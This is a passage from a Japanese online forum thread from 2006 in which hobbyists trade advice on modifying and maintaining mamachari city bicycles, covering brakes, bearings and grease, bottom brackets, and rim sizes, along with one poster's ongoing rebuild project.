06/01/08 00:31:51
やっぱ１から考えないとダメかな。
ケルビムとかアマンダあたりに注文してフレームから造ってもらうとか。
ママチャリ一台にいったい幾らかかることやら・・・ｗ
428:ツール・ド・名無しさん
06/01/08 00:48:01
>>427
トップチューブが外れる様になっててダイヤモンドにも
スタッカードにもできます! っての作ってもらおうww
429:ツール・ド・名無しさん
06/01/08 01:16:26
>>419
いくらだった？
効きはどの程度良くなった？
430:ツール・ド・名無しさん
06/01/08 06:02:44
約1000円
431:ツール・ド・名無しさん
06/01/08 09:57:37
>>428
突っ張り棒？
強度が無いよな
432:ツール・ド・名無しさん
06/01/08 22:38:54
アマンダに８０㌧カーボンでママチャリフレーム造ってもらう。
おそらく史上最強のママチャリができる。
433:ツール・ド・名無しさん
06/01/08 23:37:57
８０㌧なんて重い自転車乗れません。
434:ツール・ド・名無しさん
06/01/08 23:56:36
ママチャリは結局のトコロ
セッティングだ
セッティング次第で
ゴミにも宝石にもなる
435:ツール・ド・名無しさん
06/01/09 13:27:17
↑バカ
436:ツール・ド・名無しさん
06/01/09 22:55:36
↑>>435
大バカ
437:ツール・ド・名無しさん
06/01/09 23:05:52
∧ ∧
(д｀* )
（⊃⌒*⌒⊂)
/__ノωヽ__）
438:ツール・ド・名無しさん
06/01/09 23:54:25
NS50Fのブレーキを移植した油圧ディスクは脅威的なききだよ
ただハンドルがあれだから・・・辛いな
439:ツール・ド・名無しさん
06/01/10 10:17:34
>>438
どうやって作ったの？
440:ツール・ド・名無しさん
06/01/10 19:00:49
油圧ディスクみたいな、誰がどう見たって「これは凄いもの」と認識してしまいそうな
パーツを極力排除してママチャリを仕上げるのが、このスレの趣旨だと認識していた。
441:ツール・ド・名無しさん
06/01/11 01:22:10
基本は羊の皮を被った狼だけど
極端な改造から得る物もあるかと
442:ロード乗り
06/01/11 01:32:19
挑戦的なママチャリのガキ大歓迎です。
普通に走ってると、たまに必死に付いてこようとして
あわよくば抜かしてやろうなんて思ってるんでしょう。
っていうかもっと頑張れよｗ数分もしないうちに後ろ振り向くと
姿が点になってるじゃねーか。
多少素人改造したからってロードをかもってやるなんて考えてるなら
もっと頑張れ。いつでも相手したるでよｗ
443:ツール・ド・名無しさん
06/01/11 02:49:43
やるなら水たまりのある道がいい。バカ高いくせしてドロヨケもついてないロードはきっとスピードを落とすに違いないぞ。
444:ツール・ド・名無しさん
06/01/11 03:02:21
ママチャリ改造とか、チャリドリとか中高生の房サイト回って見ると
平地で５０キロ越えたとか６０キロ出たとか言ってるが、
あいつらサイクルコンピューターの 「周長設定」 って知ってるのかなｗ
445:ツール・ド・名無しさん
06/01/11 03:16:55
>>444
マグネット2個装着がデフォですから。
446:ツール・ド・名無しさん
06/01/11 03:45:38
＞マグネット2個装着
ワロタｗ
447:ツール・ド・名無しさん
06/01/11 06:53:23
ｵﾏｲﾗ死にたくなければ社会ルールを守れ。
やはり自転車は歩道を走るべきだ。
【無謀運転】車道走行で巻き込み事故【死亡事故】
ｽﾚﾘﾝｸ(news7板)
448:ツール・ド・名無しさん
06/01/11 06:58:28
↑全然関係ないスレへのリンクなので触る必要なし。
>>447
朝一番にやることがそれ…空しくないか？
その行為の面白さを、俺に解説してくれ。
449:ツール・ド・名無しさん
06/01/11 10:54:02
>>440
トライアルで使う油圧のリムブレーキはどうじゃ？
450:ツール・ド・名無しさん
06/01/11 12:16:14
水溜りとかのことを考えるとリムブレーキよりハブブレーキ（ディスク含む）
の方がママチャリに向いてる気がする。
451:ツール・ド・名無しさん
06/01/11 12:20:44
シマノのシティ車用コンポに、もうディスクもローラーもあるじゃん。
ディスク台座つきの電子制御サスもあるし。
やろうと思えば、すぐにやれるだろ。そういうゴテゴテ改造。
452:ツール・ド・名無しさん
06/01/11 15:30:08
あーゆう何でも電子制御でゴテゴテってのは嫌だな･･･
オートライトとかハブダイナモくらならいいけど。
453:ツール・ド・名無しさん
06/01/11 17:16:51
>>439
ステムごとボルトオンですよ
454:ツール・ド・名無しさん
06/01/11 17:48:23
ママチャリの純正のハンドルを逆付けして、ロードポジションに。
455:ツール・ド・名無しさん
06/01/11 18:34:45
改造したママチャリに乗ってフラフラ走ってると職質されやすい件
456:ツール・ド・名無しさん
06/01/11 18:43:19
それは乗ってるヤツの問題かと
457:ツール・ド・名無しさん
06/01/11 18:52:51
いやいや、乗ってる奴の問題っていうか改造する奴の問題だな。
ママチャリを改造して乗りまわす層ってのはほぼ完全に中高生だ。
なぜ改造するかと言えば、この年齢になるとバイクや車に興味が
出るが、一部の人間を除いてなかなかバイクや車に乗ることは
出来ない。その欲求不満・興味を今唯一、自分が操る事が出来る
「自転車」にぶつけられる。それがママチャリ改造へ繋がっている。
したがって、改造ママチャリに乗っているガキはちょっといけない子も
多い。パーツ欲しさに駐輪場を物色したりしてる奴もいる。
自転車ドロの８割は中高生のガキという警察白書の統計も、その事実を
物語っている。
よって、改造ママチャリにのってフラフラ走っている中高生
↓
悪ガキ及び窃盗犯予備軍の率高し
↓
職質推奨の対象
458:ツール・ド・名無しさん
06/01/11 19:09:10
確かに、カゴとか他のデフォパーツを取っ払ったママチャリに乗ってる
奴ってDQNっぽいの多いよな。
459:ツール・ド・名無しさん
06/01/11 20:39:10
オイオイ、ここはそんなDQNチューンドを
語るスレじゃないだろ
方向としては平本R32のように
かけるカネはソコソコだが手間を惜しまず
300km/h出て
なおかつ渋滞もスムーズにこなすマシンか
460:ツール・ド・名無しさん
06/01/11 22:43:41
まずは基本でベアリングかなー。
昔ロードで流行ったようにＢＢ部分のリテーナをとっぱらって玉を増やし回転抵抗を減らす。
自転車屋も修理時によくやってるけどね。
旧式の内ワンＢＢは左側が錆びていかれてるのが多いけど、水が入りやすいからかな。
左側の玉は右よりも小さいのが入ってて、Ｆハブのベアリング玉がそのまま流用できるよ。
461:ツール・ド・名無しさん
06/01/11 23:38:07
BBやハブのメンテをちゃんとすると
フィーリングがずいぶん良くなるよな
462:ツール・ド・名無しさん
06/01/11 23:41:44
>>459
ママチャリをチューンとか言ってる時点でＤＱＮだ。
ケバケバエアロのミニバンみたいなもん。
463:ツール・ド・名無しさん
06/01/11 23:43:21
オマエは何も分かってない
464:ツール・ド・名無しさん
06/01/12 00:00:22
ラジコンのチューニングパーツみたいに、マッチドボール（量産品に不可避な微妙な公差を揃えてある）とかがあると面白いんだけどね。
ラジコンと言えば以前ドライベアリングってのがあった。グリスを封入してないから回転抵抗が極端に小さい。そのかわり寿命は数レースでおしまい。
ママチャリも回転部のグリスを全部抜けばわずかに抵抗が減るかもしれん。
走るたびメンテしないとすぐにカジってしまうだろうが、まさに悪魔のチューンにふさわしい・・。
465:ツール・ド・名無しさん
06/01/12 10:25:50
さすがにドライ状態にするのはやばそうだが、量をぎりぎり減らすのはまあアリかもな。
頻繁なメンテが前提になるが。
466:ツール・ド・名無しさん
06/01/12 15:43:46
>>464馬鹿？
467:ツール・ド・名無しさん
06/01/12 16:42:13
ベアリングもだが、前後ホイールの整列も中古はけっこうずれてんだよな。
綺麗に治すの結構面倒だし
簡単に一発でチェックできる方法ないかねー
468:ツール・ド・名無しさん
06/01/12 16:56:18
レーザー使ったらいいやん
469:ツール・ド・名無しさん
06/01/12 23:20:58
裏返しに立て、ミシン糸を張ってみる。ただホイールのセンターが出てないとあまり意味ないが。
470:ツール・ド・名無しさん
06/01/13 10:14:42
>>464
ラジコンの回転部が何rpmだと思ってるんだ？
471:ツール・ド・名無しさん
06/01/13 15:56:04
>>470
１５０００ｒｐｍ
472:ツール・ド・名無しさん
06/01/13 16:11:00
>>470
GP21レーシングのクランク軸なら無負荷で3万rpmは軽い。
1/10電動カーでも実速50km/hは出る。
473:ツール・ド・名無しさん
06/01/13 21:45:44
自転車のベアリングはどちらかというと高負荷低回転だから
潤滑はした方がいいんじゃないの
474:ツール・ド・名無しさん
06/01/14 14:16:09
ケミカルも適材適所って雑誌で見たことアル。
475:ツール・ド・名無しさん
06/01/14 15:56:06
たしかに、油を抜いたベアリングは面白いくらいよく回るよね。
でも、ベアリングのボールは防錆処理なんてしてないから、
錆止めの意味でもグリスは必要かと…
自転車のベアリングが高負荷使用であるならば、極圧剤の入った
グリスがよさげですねぇ。
476:ツール・ド・名無しさん
06/01/14 16:02:56
テフロンはつこたらあかんよ
477:ツール・ド・名無しさん
06/01/14 16:04:51
>>476
なんで？なんかヤバイ事になるの？
478:ツール・ド・名無しさん
06/01/14 17:05:36
モリブデンはどうなの？
漏れ、ハブのグリースにモリブデングリースを使ってるんだけど
479:ツール・ド・名無しさん
06/01/14 21:52:23
5-56最強
480:ツール・ド・名無しさん
06/01/14 22:19:37
>>478
モリブデンってあまり熱には強くないんじゃなかったっけ？あとゴム材を侵すとか。
でもママチャリのベアリングくらいなら平気か。
俺はホムセンでも安く買えるリチウムグリスだ。
481:ツール・ド・名無しさん
06/01/15 01:03:20
モリブデンは研磨剤としても働くのでゴムシールを囓ると言われてる。
クロームモリブデン綱（通称クロモリ）で知られるように金属だから熱には強い。
482:ツール・ド・名無しさん
06/01/15 15:37:17
テフロンには極圧性能は全くないらしいですよ。
モリブデングリスの基油がゴム類を犯すと聞いたことがあります。
483:ツール・ド・名無しさん
06/01/15 16:15:21
ママチャリのハブやＢＢにはシールはないからあまり関係ないな。
薄く塗って抵抗を減らすと、しょっちゅう分解メンテしないとな。
あんまり何度も脱着してるとまず安いシャフトがいかれそうだ。
484:ツール・ド・名無しさん
06/01/15 17:03:36
ママチャリの良さはこまめなメンテしなくても良いところもあるわけだし
こまめにメンテやケミカル使わなきゃならないのは本末転倒ではないか？
485:ツール・ド・名無しさん
06/01/15 18:24:40
おいおい普通のママチャリにだってメンテは必要だよ。
ていうか、高級なシールドベアリング使ってるロードレーサーよりも頻繁にやんなきゃいけない気がするぞ。
まあ実際やる人はあまりいないだろうけど。
週一で空気圧をチェックするだけでも、ずいぶん走りが変わるもんだ。
486:ツール・ド・名無しさん
06/01/15 21:39:54
空気入れはメンテに入るのかな
487:ツール・ド・名無しさん
06/01/15 22:23:22
>>486
入るに決まってるじゃん。
488:ツール・ド・名無しさん
06/01/16 00:33:07
ハブやＢＢに給脂して調整がぴたっと決まると回転がスムーズで気持ちいいんだよなー。
マニアにだけやらせておくのはもったいない。
489:ツール・ド・名無しさん
06/01/16 00:36:58
インター8って通販してる所ありますか？
うちのアルベルトはベルトなんでベルト用が欲しいんです
490:ツール・ド・名無しさん
06/01/16 00:55:36
やはり、総デュラのママチャリに誰か挑戦してもらうしか･･･
491:ツール・ド・名無しさん
06/01/16 00:59:20
>>489
通販じゃないと駄目なの？自転車屋で取り寄せて貰ったらいいじゃん。
492:ツール・ド・名無しさん
06/01/16 01:00:46
高性能パーツをポン付けする＝チューンナップ、ではないと思うぞ。
493:ツール・ド・名無しさん
06/01/16 09:13:36
去年の某ママチャリレースで改造費４０万かけたヤツが優勝していたが、そこまでやって勝てなかったら恥だな。
籠とフレーム以外は総取っ替えだった。
494:ツール・ド・名無しさん
06/01/16 10:41:20
４０マン？
そこまでやると周りに対して
弱い者イヂメにしか思えん
俺ならそんな勝ち方したくないな
495:ツール・ド・名無しさん
06/01/16 12:36:31
>>491
近所の自転車は行きたくないし定価売りだし
496:ツール・ド・名無しさん
06/01/16 12:51:12
>>495
通販してるショップに電話で問い合わせするのがいいかも。
軽く探してみたんだけど、HPに掲載してるショップは見つからなかったよ。
497:ツール・ド・名無しさん
06/01/16 12:55:01
おまえらの仲間を見つけてやったぞ。
URLﾘﾝｸ(www.geocities.jp)
プッ！
498:ツール・ド・名無しさん
06/01/16 13:04:48
直角ヤバしぼり
ママハンしぼり
ワルしぼり
カマハンしぼり
499:ツール・ド・名無しさん
06/01/16 13:08:02
>>497
ジャンル違うし・・・
500:ツール・ド・名無しさん
06/01/16 13:30:49
本当は新しいのが欲しいんだけどお金無いし愛着あるからこれ改造する
URLﾘﾝｸ(motetai2ch.hp.infoseek.co.jp)
10年前のBS製ママチャリ
スペック
ベルト駆動 内装3段 オートライト
交換したパーツ
タイヤ＆チューブｘ2 ベルト
壊れてる箇所 シフターとワイヤー
取り合えずシフターをなおして タイヤをスリックにしてチェーン駆動にしたいぽ
501:ツール・ド・名無しさん
06/01/16 13:38:35
>>500
リムサイズいくつ？スリックなんて売ってるの？
502:ツール・ド・名無しさん
06/01/16 13:39:07
>>497
あまりにもダサすぎで噴出してしもうたわ
503:ツール・ド・名無しさん
06/01/16 13:50:40
パクリ
でも高学歴は、独立してベンチャーに走る奴も多い。
頭の無い低学歴の奴は、自転車屋みたいな誰でも出来る仕事の様に何も考えないで出来る肉体労働者や売り子とか修理屋ばかり。
パクラレ
高学歴 独立後ベンチャーに走る奴もいる。
低学歴 修理屋 肉体労働者 販売員が多いな。
パクリの言訳
偶然に同じだっただけだろ。
一年前の過去レスなんて誰も見ていないだろ。
このスレに常駐している蛆虫かｗ
>おもろい。
>パクラレはうまくまとまってる。この人はデキルな
>パクリは文章ひでーな ダメだ、おまえ・・・
504:ツール・ド・名無しさん
06/01/16 14:19:38
26-1.5か26-1.35のタイヤってママチャリに入るの？
IRCのスリックを買うか検討中です
505:ツール・ド・名無しさん
06/01/16 14:22:42
>>504
リムをHE規格に換えなきゃ無理。
で、リム換えても前ブレーキが届くかどうか問題発生するかも。
506:ツール・ド・名無しさん
06/01/16 15:10:29
あるえ？中国製激安小径車でもスリック履けたが・・・ママチャリは特殊なのかな？
ちなみに中国製6000円号に履いたタイヤ
URLﾘﾝｸ(item.rakuten.co.jp)
507:ツール・ド・名無しさん
06/01/16 15:18:29
26インチではMTB用リムとママチャリ用リムはサイズが違うよ
ランドナーと呼ばれたスポーツ自転車のものならオーケ。
タイヤ重量の軽いものを選ぶのが効果的。
508:ツール・ド・名無しさん
06/01/16 15:34:21
>>506
それはただ単にその自転車のリムがHEリムだったからでしょ。
通常26インチママチャリのリムはWOリム（26×〇〇・・・〇〇は分数または整数、小数点無し）
だからね。
509:ツール・ド・名無しさん
06/01/16 18:13:38
やっぱり究極の悪魔のチューンはマグネット2個付け。このスレの常識だよなw
510:ツール・ド・名無しさん
06/01/16 18:17:21
Ｙ’ｓにBR-S030頼んだら1ヶ月かかると言われた。
そんなにかかる物なのか？
どこかで売ってる（売ってた）情報ない？
511:ツール・ド・名無しさん
06/01/16 18:35:59
>>510
単にディユアルピボットでいいなら、東急ハンズで見かけたぞ
どこのメーカーかは知らないけど
512:ツール・ド・名無しさん
06/01/16 18:57:47
>>511
どこのハンズ？
513:ツール・ド・名無しさん
06/01/16 19:01:47
国産ママチャリのBB交換はBB-UN53（68-110）が適合するらしいです
チャイナの場合は色々あるらしいけど、国産の場合は規格が統一されてるらしい
514:ツール・ド・名無しさん
06/01/16 19:17:10
>513
ＵＮ５３が適合するならＵＮ２５だって適合するだろ？
単なるグレードの違いだから。
515:ツール・ド・名無しさん
06/01/16 19:31:57
つー事はホローテックⅡも・・・
516:ツール・ド・名無しさん
06/01/16 19:44:52
>515
だよな。
適合する規格といえば６８ｍｍ（ＪＩＳ）だけのはず。
517:ツール・ド・名無しさん
06/01/16 19:45:02
最強のママチャリ（予算5万円以下で）
ベース：国産のママちゃり
Fフォーク：XCC-D
BB:ＵＮ５３
クランク：ノーマル
溶接機：100V半自動
つかないものは溶接汁
518:ツール・ド・名無しさん
06/01/16 19:46:53
ドイツ製の内装16段を書き忘れた・・・・
519:ツール・ド・名無しさん
06/01/16 19:47:35
JISならレコードのカーボンクランクでも装着できるってことだな。
520:ツール・ド・名無しさん
06/01/16 20:02:01
ママちゃりにFサス付けてダートジャンプって良いかも？
内装ギヤだからトラブルも少なくてうまー
521:ツール・ド・名無しさん
06/01/16 20:02:51
リアのローラーブレーキ強化方法ってなんかないのか？
522:ツール・ド・名無しさん
06/01/16 20:09:05
BB変えたらクランクセットも変えないと駄目なの？
俺のベルトだからクランクセット交換出来ないし
523:ツール・ド・名無しさん
06/01/16 20:32:34
>>522
軸長と嵌合方式が同じなら換えなくて大丈夫だよ。
軸長が違うとチェーンライン（522の場合はベルトライン？）が変わっちゃうから注意。
524:ツール・ド・名無しさん
06/01/16 20:51:39
>>523
有難う御座います ノーマルBBをノギスで測って同じ寸法のを買えば良いんですね？
525:ツール・ド・名無しさん
06/01/16 20:52:17
>>524
ですね。
526:ツール・ド・名無しさん
06/01/16 20:53:57
>524
そんな110mmが113mmになったって平気だよｗ
527:ツール・ド・名無しさん
06/01/16 20:55:30
>524
チェーンラインなんてほとんど関係ねーよ
まさかフロント変速させるわけじゃねーよな？
528:ツール・ド・名無しさん
06/01/16 21:10:30
ベルトはチェーンに比べてチェーンラインにシビアだよ。
529:ツール・ド・名無しさん
06/01/16 21:12:46
まさかベルトのままBBだけ交換なんてしないだろ？
意味ねーじゃん
530:ツール・ド・名無しさん
06/01/16 21:30:51
カンパとか言い出してるから一言いっておくが
同じスクエアテーパーのBBでもテーパー角に何種類もあるからな。
UN53なんかにカンパのクランクをつけるなよ。
531:ツール・ド・名無しさん
06/01/16 21:33:24
>>529
なんで？
補修を兼ねた交換なら意味あるんじゃない？
532:ツール・ド・名無しさん
06/01/16 21:33:56
どこをどう読んでそんな偉そうにしてんだ？
そんなことは当たり前じゃねーか
恥を知れ！
533:ツール・ド・名無しさん
06/01/16 21:36:23
>>532
誰に言ってるの？アンカーくらい付けてよ。
534:ツール・ド・名無しさん
06/01/16 21:37:55
>531
補修ならスレ違いだろ低脳
535:ツール・ド・名無しさん
06/01/16 21:43:19
>>534
補修も兼ねたグレードアップと言う意味ですよ。
なにせ本人の交換理由が俺には分からないからね。
で、ベルト駆動のままBBを換えるのはなんかマズイの？
536:ツール・ド・名無しさん
06/01/16 21:48:44
>>534
なぁ、ベルトのままBBを交換する事が、
何故意味無いのか理由を説明しろよ、低能さん。
537:ツール・ド・名無しさん
06/01/16 21:52:36
>>512
名古屋の高島屋の中のハンズだよ
538:ツール・ド・名無しさん
06/01/16 22:26:19
あ
539:ツール・ド・名無しさん
06/01/16 22:30:36
な
540:ツール・ド・名無しさん
06/01/16 22:31:57
る？
541:ツール・ド・名無しさん
06/01/16 22:46:33
>>537
サンクス。
でも名古屋は遠いなあ。
渋谷と新宿では見たことがないよ。
542:ツール・ド・名無しさん
06/01/16 22:51:41
>>530
カンパって何？
543:ツール・ド・名無しさん
06/01/16 23:13:13
つーかさ、ダホンやヤマホンいじってる奴のサイトって多いけど
ママチャリって族車しかねーよな？
マイバラスやFD系も無いけどいさ
544:ツール・ド・名無しさん
06/01/17 00:23:46
DAHON系も結局趣味バイクだしな・・
個人の見せびらかしサイトよりか、毎日毎日ママチャリで街ゆくおばちゃんの方がよっぽど実践的なチューンをしてたりするぞ。
545:ツール・ド・名無しさん
06/01/17 09:20:23
>>544
どういうチューン？
546:ツール・ド・名無しさん
06/01/17 09:48:17
ハンドルカバー？って言うか、あのグローブ不要なヤツとか。
ビニールのシールドみたいなヤツとか。
547:ツール・ド・名無しさん
06/01/17 10:38:09
大容量のカゴ（明らかに自転車用ではない）をつけたり、
後ろのタイヤを強化してたりするな。
548:ツール・ド・名無しさん
06/01/17 11:41:49
おばちゃんチューンといえば「さすべぇ」だな。
549:ツール・ド・名無しさん
06/01/17 12:53:33
リアブレーキのチューン方法は無いのかと質問してるんだが？
550:ツール・ド・名無しさん
06/01/17 13:02:14
>>549
ローラーブレーキ化は？タッチがイマイチだけど。
当然レバー・ワイヤーも交換で。
551:ツール・ド・名無しさん
06/01/17 13:16:01
バンドブレーキならまずクリアランス調整かね。ネジまわして。
当たり面をやすりでならせば鳴きも多少は収まるかも。
552:ツール・ド・名無しさん
06/01/17 13:32:00
>550>551
サンクス
もともとの質問が効かないローラーブレーキをどうチューンするかってことなんですよ。
キャリパーブレーキ化とかはできないものでしょうかね？
553:ツール・ド・名無しさん
06/01/17 13:35:55
>>552
シートステイの強度が問題かと。
バチバチに補強入れてやれば出来ない事は無いと思うけど、
どうかなぁ。確実に寿命は短くなると思う。
554:ツール・ド・名無しさん
06/01/17 14:06:27
>>552
交換しかないんじゃないの？
うちのは効きすぎてこまるくらいだよ。
555:ツール・ド・名無しさん
06/01/17 14:12:17
グリス切らせてイカレたんでは？
とりあえず新品に交換するのがいいと思う。
556:ツール・ド・名無しさん
06/01/17 14:26:43
ナット外してからハンマーではたいてもクランク外れないな
やっぱSST無いと駄目か・・・・・orz
ベアリング抜き用のプーラーは持ってるが、なにせ大型トラック用だからな
557:ツール・ド・名無しさん
06/01/17 15:00:07
URLﾘﾝｸ(0bbs.jp)
ママチャリ改造画像掲示板を作りました
558:ツール・ド・名無しさん
06/01/17 15:25:05
ママチャリでちょっくらシート買いに逝ってくる
559:ツール・ド・名無しさん
06/01/17 19:02:34
50T-17Tにしたら下り速いかな？
560:ツール・ド・名無しさん
06/01/17 19:36:02
>>559
どうせなら
50T-11Tにしろよ
561:ツール・ド・名無しさん
06/01/17 20:14:42
所でリヤスプロケットってスポーツ車用は付くのか？
562:ツール・ド・名無しさん
06/01/17 22:30:03
ハブを交換しなきゃね。
563:ツール・ド・名無しさん
06/01/18 01:23:48
>>557
頑張ってください。
564:ツール・ド・名無しさん
06/01/18 02:15:30
>>557
お、バラし開始か。頑張れ～。
mamabicycleに笑った。
565:ツール・ド・名無しさん
06/01/18 02:46:14
頑張ります。車用工具じゃどーしようも無かったからSST買ってきた
シマノのTL-FC10って工具と六角レンチが小さいの無いからホムセンで300円のセットも勝ったよ
サドルとシートポストも買う予定だったんだけど通販より大幅に高いし・・・・
今後の予定としては、ベルト駆動をチェーン駆動にコンバートするつもり
でもいくら検索してもリヤのスプロケの構造について書いてるサイトがない・・・・orz
最悪の場合は溶接しちゃうかホイール毎交換になっちゃうのかな？
ある意味送料込み1万円のマイバラス26インチを買った方が早いかも
566:ツール・ド・名無しさん
06/01/18 02:53:01
>>557
「お気に入り」に登録しました。
このスレが無くなっても熱く見守っていく所存です。
567:ツール・ド・名無しさん
06/01/18 03:14:50
>>565
リアハブ廻りをバラしたら、画像アップしてよ。
そしたら部品交換だけで行けるかハブごと交換しないと駄目か分かるかも。
568:ツール・ド・名無しさん
06/01/18 03:15:24
ペダルをMTBペダルに変えたら？
それとライトをLEDに。
金があるならオートマチックインター3に。
しかし、パーツ単品買いは意外と高いのよねぇ
569:ツール・ド・名無しさん
06/01/18 03:43:09
ママチャリ用最強ペダルはシュアーフットコンパクトだろ。
チタンシャフトの奴ね。
570:ツール・ド・名無しさん
06/01/18 08:45:34
M324が必要なくなったからそれを使おうと思ってたけど、そのペダル良さそうだな…
571:ツール・ド・名無しさん
06/01/18 13:05:17
27ｲﾝﾁwoを700c化したいのですが、
ホイールごと交換すれば、ポン付けできますか？
(後輪は改めて、内装変速幾 ローラーブレーキを組み込んだものとする)
572:ツール・ド・名無しさん
06/01/18 14:00:40
フロントは、ママチャリハブで組むなら問題無いけど、
ロード用ハブを使うならエンド幅の違いが問題かと。あとはブレーキのアーチサイズ変更が必要かも。
フォークごと交換しちゃうほうが手っ取り早いかもね。
リアは問題無いだろうね。
573:ツール・ド・名無しさん
06/01/18 14:03:09
>>571
タイヤの直径
２７ x １ 3/8 ６９４ｍｍ
７００ x ２８Ｃ ６７８ｍｍ
ってことで、タイヤは入るね
あとは、
・前輪ならキャリパーブレーキのシューの位置
・ハブ軸の直径（確か違ったはず）
・ハブのロックナット間の距離
の問題があるね
574:ツール・ド・名無しさん
06/01/18 14:04:54
>>573
それは全然ダメなんじゃないか？
ホイールを手組みでやってもらった方が良いのでは･･･？
575:ツール・ド・名無しさん
06/01/18 15:28:12
>>574
だよね
後輪同様に、リムだけ交換して、その他はもともと付いてるやつを
流用する方が簡単かも
（分かってると思うけど、スポークの長さが変わるので新しいのが必要だよ）
576:ツール・ド・名無しさん
06/01/18 15:34:50
で、ブレーキシューはリムに届くの？
577:ツール・ド・名無しさん
06/01/18 15:45:14
ママチャリの７００C化 みっけ
URLﾘﾝｸ(justlikeakame.com)
参考にしてね
578:565
06/01/18 17:42:03
今日は本業が忙しくてチャリ触れなかった
明日も出張修理あるからいじれないよ・・・・・・orz
もう面倒だから、フレーム以外全て交換の路線で行きたいと思います。
スポークは組んだ事ないし難しいそうだから、ホイールは外注もしくは完組ホイールで
RDは付けて付けられない事はないみたいだけど、面倒だからシングルスピード
内装8段は、予算的に厳しいから取り合えず保留の方向で逝きます。
まずは、BB交換をやってあとはパーツ集めをせねば
必要と思われるパーツ
Fフォーク 前後ホイール 前後ブレーキ ブレーキワイヤー
チェーン BB クランク チェーンリング シングルギヤ変換キット
シートポスト シート ハンドル周りのパーツ一式
3mm厚の鉄板 その他
>>567
中途半端なの嫌だから徹底的に弄りたいと思います。
>>568
LEDって暗いですよね？自転車用HDIライトってないのですか？
>>577
情報有難う御座います
579:ツール・ド・名無しさん
06/01/18 17:49:25
>>578
HIDあるよ。
URLﾘﾝｸ(www.topeak.jp)
580:ツール・ド・名無しさん
06/01/18 18:09:08
クランクはずすときに四角いやつを外す工具ってどういうとこに売ってるんですか？
581:ツール・ド・名無しさん
06/01/18 18:24:26
>579
漏れの自転車より高い･･･
582:565
06/01/18 18:33:32
フレームのフロントフォークが刺さる穴の内径って色々なサイズがあるのですか？
かれこれ5年程前に、TZR50RのF周りをママチャリに移植して乗ってましたが
その時はカラーとシムを入れてガタをなくてました。
MTBのFフォークをママチャリに装着する場合もカラーが必要ですか？
583:ツール・ド・名無しさん
06/01/18 18:48:40
>>578
↓ここも参考になるのでは？
URLﾘﾝｸ(homepage.mac.com)
584:ツール・ド・名無しさん
06/01/18 18:49:49
>>582
色々あるよ。ママチャリの場合、1インチネジ切りコラムが１番多いかな。
最近のMTBのコラムは太い（OSアヘッド）場合が殆どなので、流用には注意が必要だね。
585:565
06/01/18 19:06:51
>>583
チェーン脱落対策としてRDは付けた方が良いかもしれませんね？
RDがあるとタイヤの脱着が楽ですし
>>584
現車確認って事ですね？ばらしノギスで寸法を測ってみます
586:565
06/01/18 19:22:01
URLﾘﾝｸ(www.bscycle.co.jp)
自分のチャリはこれの先祖にあたるようです。
587:ツール・ド・名無しさん
06/01/18 19:29:05
URLﾘﾝｸ(www.interq.or.jp)
これは凄い
588:ツール・ド・名無しさん
06/01/19 11:11:22
スンゲーカッコワルイ。
589:ツール・ド・名無しさん
06/01/19 11:13:52
まともに走れないんじゃ意味無いね。
590:ツール・ド・名無しさん
06/01/19 15:04:58
>>571 ﾃﾞｽ
いろいろとアドバイス ありがと。>>572～>>577
とりあえず、後輪から始めてみるつもりです。
591:ツール・ド・名無しさん
06/01/19 18:15:20
BBのサイズはわかった73-135 でもこんなに軸長の長いBBは売ってないから73-110あたりをチョイスします。
どうせ全部かえるから問題ないでしょ、ダブル入れてFDを付けない意味不明な仕様に仕上がる予定だし
あさってあたりから車体の分解に入ります。
強度的に問題になる可能性が高いリヤ周りをどう補強するかが問題です。
シートポストからスイングアーム？に伸びてる補強バーは口径を太くした方が良いよう気がします
なんか手で余裕で曲がりそうだし・・・・orz
本日、知り合いの自動車板金屋にチャリのフレームを塗装してって言ったら
銭取れないからやらないって言われてしまいましたyo
592:ツール・ド・名無しさん
06/01/19 19:56:25
そこでカドワキですよ
593:ツール・ド・名無しさん
06/01/19 22:00:41
応援してるよ。
594:ツール・ド・名無しさん
06/01/19 22:00:42
URLﾘﾝｸ(page5.auctions.yahoo.co.jp)
595:ツール・ド・名無しさん
06/01/19 23:35:41
>>580
コッタレスクランク抜き↓の事か？
URLﾘﾝｸ(www.cb-asahi.co.jp)
オクタリンクの場合は↓これもいる。
URLﾘﾝｸ(www.cb-asahi.co.jp)
596:ツール・ド・名無しさん
06/01/20 05:41:44
ロックリングプライヤーって使いにくい。
Sフックとモンキーの方が俺は使いやすいと思うが…
597:ツール・ド・名無しさん
06/01/20 05:43:03
あ、ロックリングだけだったらモンキーいらないか。
598:ツール・ド・名無しさん
06/01/21 15:45:21
なるべく予算を抑えるために変速なしでやりたいとおもいます。
それでもこのくらいの部品が必要です。
フロントフォーク BB クランク チェーンリング 完組みホイール チェーン チェーン引き
599:ツール・ド・名無しさん
06/01/21 15:46:33
書き忘れてましたが、固定ギヤにすればリヤブレーキはいらないみたいなので
固定ギヤも良いかな？と思ってます。
600:ジュラ１０
06/01/21 15:48:37
固定ギヤだったら尚更リアブレーキは絶対に必要だと
俺は思ってるけどなあ。１８年前にもつけてたし。
601:ツール・ド・名無しさん
06/01/21 15:51:07
>>599
ママチャリのBBハイトだと、フィクスドはすぐペダル引っ掛けるから恐いぞ。
シングルのコースターブレーキハブでホイール組めば？
602:ツール・ド・名無しさん
06/01/21 16:14:32
日本じゃ前後輪ともにブレーキが備わってないと公道は走れないなりよ～
603:ツール・ド・名無しさん
06/01/21 16:30:36
大変だ！フ・フ・フレームが親に捨てられた・・・・orz
どうしましょ？
604:ツール・ド・名無しさん
06/01/21 16:33:18
>>603
謝罪と賠償を！
605:ツール・ド・名無しさん
06/01/21 16:43:08
>603
靖国へ参拝を！
606:ツール・ド・名無しさん
06/01/21 19:16:40
>605
座布団一枚！
607:ツール・ド・名無しさん
06/01/21 21:47:24
次のフレームが手に入りました
ただ小径非折りたたみ自転車用なんです
取り合えず、ママチャリじゃ無くなったので、スレ違いなので他のスレに移動します。
ある程度かたちになったら掲示板にUPしたいと思います。
その時は、掲示板のタイトルをかえますURLを変更すると面倒なんでそのままにしておきます
応援してくださったみなさん有難うございました。
608:ツール・ド・名無しさん
06/01/21 22:28:31
>>607
お、ひとまず解決か！
掲示板、チェックしてるよ～。
スレ移動したら、このスレか掲示板にリンク貼っといてね～
609:ツール・ド・名無しさん
06/01/22 10:13:12
>>600
>１８年前にもつけてたし。
固定じゃないから当然だろ
610:ツール・ド・名無しさん
06/01/24 00:20:35
入手したフレームの寸法を測りながら色々やったのですが
シートポストが内径で1.9cmしかないし、しまいにママチャリのステムも刺さらない程細いし
